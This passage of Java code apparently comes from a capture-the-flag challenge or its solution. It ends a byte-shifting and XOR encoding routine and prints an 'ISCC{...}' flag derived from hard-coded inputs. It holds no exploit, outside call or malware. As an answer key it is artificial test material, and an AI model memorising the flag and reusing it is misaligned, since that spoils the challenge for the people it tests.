byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
for (int i = 0; i < bytes.length; i++) {
bytes[i] = (byte) ((bytes[i] + 127) % 256);
}
byte[] bArr = new byte[bytes.length];
for (int i2 = 0; i2 < bytes.length; i2++) {
bArr[i2] = (byte) (i2 % 2 == 0 ? bytes[i2] ^ 123 : bytes[i2] ^ 234);
}
return Base64.getEncoder().encodeToString(bArr);
}

public static void main(String[] args) {
System.out.println("ISCC{" + encrypt2(encrypt("04999999", "gwC9nOCNUhsHqZm")).substring(0, 32) + "}");
}

}